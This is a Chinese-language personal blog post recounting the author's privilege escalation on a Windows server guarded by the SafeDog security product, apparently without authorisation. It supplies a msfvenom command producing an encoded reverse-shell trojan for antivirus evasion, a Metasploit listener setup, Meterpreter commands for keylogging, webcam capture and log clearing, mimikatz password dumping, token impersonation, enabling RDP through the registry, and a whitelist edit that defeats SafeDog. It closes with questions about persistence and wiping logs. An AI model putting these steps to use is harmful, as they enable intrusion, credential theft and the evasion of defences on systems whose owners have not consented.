>我真的太惨了

>外出实习忘记了博客密码

>断更了这么久

>今天终于忍不了了,ssh连上来黑了自己的首页,试图记录点什么

>2019/08/21 --C0d3r1iu

记一次安全狗下的提权 – 记录日 – C0d3r1iu's Blog

记一次安全狗下的提权

热度:686℃ 评论:0 发布时间:2018-12-27 收录:已收录

记一次安全狗下的提权

Author : C0d3r1iu
Date : 2018-12-27 13:04:36

0x01 准备工作

在这漫长黑夜,困意席卷而来,为了抵抗它,选首优雅的,流行的或是躁动不安的曲子当作bgm吧。

我选择了 贝多芬 的 <Für Elise>

还有 Sigur Rós 版本的 <The Rains of Castamere>

熟悉一些工具以及整理常用命令:

metasploit框架

记一次安全狗下的提权

这套框架非常方便我们在服务器上执行后门,深受本脚本小子的喜爱,总是感觉启动画面酷酷的 ♥

msfvenom 生成反弹马:

msfvenommsfpayloadmsfencode的结合体

攻击者可利用msfvenom生成木马程序并且可以通过多次编码实现免杀,通过在目标机上执行木马并在本地监听上线达到目标机shell的控制权

-p payload选择

后面直接设置 参数 = '',一般都是 lhost = 本机ip lport = xxx

这个玩过windows下gui远控的应该不陌生,就是上线地址和端口,讲到这里都是满满的回忆啊,那夕阳下的肉鸡,是我逝去的青春~

-e 编码

这个主要为了免杀,一般采用x86/shikata_ga_nai 编码

-i 指定编码的次数

-f

输出文件格式:

Executable formats:

asp, aspx, aspx-exe, axis2, dll, elf, elf-so, exe, exe-only, exe-service, exe-small, hta-psh, jar, loop-vbs, macho, msi, msi-nouac, osx-app, psh, psh-net, psh-reflection, psh-cmd, vba, vba-exe, vba-psh, vbs, war

Transform formats:

bash, c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl, powershell, ps1, py, python, raw, rb, ruby, sh, vbapplication, vbscript

所以最终利用生成语句为:

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=公网ip LPORT=要监听的端口 -f exe > ./test.exe
msfconsole 的监听配置:
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST xx.xx.xx.xx
LHOST => xx.xx.xx.xx
msf exploit(multi/handler) > set lport xxxx
lport => xxxx
msf exploit(multi/handler) >
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on xx.xx.xx.xx:xxxx

根据如上命令,我们开启了监听等待主机上线

meterpreter 常用命令(删除部分我没有用过或是作用不大的指令):
meterpreter > help

    命令                       解释
    -------                   -----------
    ?                         帮助菜单
    background                把当前shell回话放到后台
    bg                        同上
    bgkill                    结束一个后台会话
    bglist                    后台会话列表
    bgrun                     以后台线程运行一个meterpreter脚本
    exit                      终结这个meterpreter会话
    get_timeouts              获取当前会话的超时设定
    guid                      获取当前会话的GUID
    irb                       打开一个ruby的交互shell
    load                      加载一个或多个Meterpreter扩展
    migrate                   移动服务到其他进程PID(便于后门的隐藏)
    quit                      退出
    read                      Reads data from a channel
    resource                  Run the commands stored in a file
    run                       运行一个merterpreter脚本或者post模块
    sessions                  -i 切换到其他session
    set_timeouts              设置超时
    use                       与load命令一样


文件操作命令
============================

    Command       Description
    -------       -----------
    cat           读文件
    cd            cd
    checksum      验证文件md5
    cp            copy
    dir           ls
    download      下载文件到本机
    edit          编辑文件
    getlwd        lpwd
    getwd         pwd
    lcd           本机cd
    lls           本机文件列表
    lpwd          本机目录
    ls            当前目录文件列表
    mkdir         新建文件夹
    mv            移动文件
    pwd           当前路径
    rm            删除文件
    rmdir         删除文件夹
    search        搜索文件 search -d 路径 -f 文件名模式  搜索文件 *.*
    show_mount    查看挂载的硬盘
    upload        上传文件或文件夹


网路命令
===========================

    Command       Description
    -------       -----------
    arp           显示主机的arp表
    getproxy      显示主机的代理情况
    ifconfig      ip信息
    netstat       显示主机网络连接情况
    portfwd       转发一个本地的端口,如 portfwd  add -l  1234 -p 3389 -r ip
    resolve       dns解析
    route         查看和修改路由表


系统相关命令
=======================

    Command       Description
    -------       -----------
    clearev       清除事件日志
    execute       执行命令
    getenv        获取一个或多个环境变量值
    getpid        获取当前进程标识符
    getprivs      尝试启用当前进程可用的所有特权
    getuid        whoami
    kill          终结一个进程
    localtime     机器上的时间
    pgrep         进程过滤
    pkill         终结进程
    ps            进程列表
    reboot        重启
    reg           修改远程注册表并与之交互
    rev2self      在远程计算机上调用RevertToSelf()
    shell         进入系统shell
    shutdown      关机
    steal_token   试图从目标进程窃取模拟token
    suspend       暂停或恢复进程列表
    sysinfo       查看系统信息
    timestomp     修改文件时间戳

用户界面接口的命令
===============================

    Command        Description
    -------        -----------
    enumdesktops   列出所有可访问的桌面和窗口
    getdesktop     获取当前桌面
    idletime       远程用户空闲进程
    keyscan_dump   获取键盘记录
    keyscan_start  键盘记录开始
    keyscan_stop   键盘记录结束
    screenshot     截图
    setdesktop     控制当前桌面


摄像头控制
=======================

    Command        Description
    -------        -----------
    record_mic     录音x秒
    webcam_chat    开始视频聊天
    webcam_list    摄像头列表
    webcam_snap    通过摄像头拍摄快照
    webcam_stream  通过指定的摄像头播放视频
    play           播放音乐


权限提升命令
======================

    Command       Description
    -------       -----------
    getsystem     尝试提升到system权限.
    hashdump      Dumps the contents of the SAM database


读HASH相关:

 

mimikatz(非必须,因为meterpreter自带读Hash命令)

 
use mimikatz
 

privilege::debug 提升权限
sekurlsa::logonPasswords 抓取密码

 
另如果sell交互有问题

也可以用processdump 导到本地来运行mimikatz读取密码

参考链接:
九种姿势运行Mimikatz

其他工具如Getpass 直接运行

 

meterpreter 脚本

meterpreter > hashdump
meterpreter > run post/windows/gather/smart_hashdump
 

常用cmd和powershell命令:

 

netstat -ano { |findstr LISTEN }

tasklist {|findstr 进程名 }

taskkill { /pid /im /f }

查询远程桌面端口号:
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber

开启远程桌面端口号(防火墙关闭):
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

查看当前在线用户(不要盲目登陆): quser/query user

 

伪造token:

 

meterpreter > use incognito
Loading extension incognito...Success.

meterpreter > list_tokens -u

Delegation Tokens Available
========================================
kpSFBX173275\administrator
NT AUTHORITY\IUSR
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM

Impersonation Tokens Available
========================================
No tokens available

meterpreter >impersonate_token NT AUTHORITY\SYSTEM
meterpreter >getsystem
...

 

服务器账户处理:

 

1.克隆账户
2.隐藏账户
3.新建账户,提权

搜集exp,有一些需要编译的提前编译好

 
Windows下的各种exp。

Linux下根据 内核版本 exploit-db 寻找。

0x02 尝试提权

 
整理完基础知识,我们开始实战提权。

拿webshell过程不在本次探讨范围,故略过

拿到Webshell是中间件的权限,可读可写部分目录,可以运行程序

首先我尝试了数十个exp,最终利用exp在webshell里运行反弹一个System权限的shell到meterpreter上进行后续操作
 
记一次安全狗下的提权
 
已经是system权限了,尝试kill 安全狗,失败,安全狗是services系统进程的子进程

转而去用mimi抓密码(指令见上文):
 
记一次安全狗下的提权
 
切换到Shell, netstat -ano ,根据文章前面总结的cmd命令,仔细寻找不难发现远程端口。

本机rdp尝试连接,擦,失败了,估计是安全狗在捣乱。

配置文件地址: C:\Program Files\SafeDog\SafeDogServer\SafeDogGuardCenter\ProGuardData.ini

下载安全狗的配置文件覆盖到本地,果然做了白名单限制,修改本地电脑名称并重启生效。
 
记一次安全狗下的提权
 
O98k,then connect and hack it!
 
记一次安全狗下的提权
 

0x03 总结&问题思考

问题思考:

 
1. 每一次运行msf都要重新在目标机运行一遍反弹木马,很不方便也容易被发现或是丢失权限,如何第一次反弹后达到客户端循环发送反弹请求的效果?

  1. 读取hash失败,如何在不惊动管理员的情况下(有安全狗提示的情况)提权用户?

  2. 如何维持这个服务器的权限(后渗透)?

  3. 如果面临服务器360套装而不是简单的安全狗,我该如何应对呢?

  4. 日志的清除手段 (拉完翔擦屁股)?

我会在后面的文章做一个探讨分享给大家,如果你有什么好的思路欢迎评论或者发邮件到
admin@recorday.cn 一起交流

总结:

 
记忆减退,手法不娴熟,否则很快就能搞定的,要多练习。

中国ip枯竭严重,必须要有一台自己的公网服务器才可以在外网实战中使用,msf相当于集成了很多杀器的武器库,非常方便,例如抓管理员的HASH,或者搞个远控也是很舒服的。

免杀技巧的总结,放在下几次文章吧,没有实战不敢乱写。
 
基于msf的session机制使得用它进行内网渗透,后渗透更方便也更隐蔽,关于这一方面又是个很庞大的知识体系,我后面会搭建靶机继续学习,分享。

打赏
本文由 C0d3r1iu 创作,除注明转载/出处外,均为本站原创,转载前请注明出处!

Leave a Reply

Your email address will not be published. Required fields are marked *

顶部
护眼
搜索
分享